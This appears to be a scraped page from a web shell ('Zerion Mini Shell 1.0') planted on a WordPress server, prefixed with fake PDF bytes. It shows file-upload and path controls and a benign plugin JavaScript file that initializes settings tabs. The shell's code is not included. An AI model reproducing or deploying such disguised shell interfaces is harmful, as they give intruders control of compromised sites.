%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pn/wp-content/plugins/ajax-search-pro/backend/settings/assets/
Upload File :
Create Path :
Current File : //var/www/pn/wp-content/plugins/ajax-search-pro/backend/settings/assets/compatibility_settings.js

// Simulate a click on the first element to initialize the tabs
jQuery(function ($) {
    // Remove the # from the hash, as different browsers may or may not include it
    var hash = location.hash.replace('#','');

    if(hash != ''){
        hash = parseInt(hash);
        $('.tabs a[tabid=' + Math.floor( hash / 100 ) + ']').click();
        $('.tabs a[tabid=' + hash + ']').click();
    } else {
        $('.tabs a[tabid=1]').click();
    }

    $('.tabs a').on('click', function(){
        location.hash = $(this).attr('tabid');
    });

    $('input[name=selective_enabled]').on('change', function(){
       if ( $(this).val() == 0 ) {
           $(this).closest('fieldset').find('.item_selective_load').addClass('disabled');
       } else {
           $(this).closest('fieldset').find('.item_selective_load').removeClass('disabled');
       }
    });
    $('input[name=selective_enabled]').change();
});

Zerion Mini Shell 1.0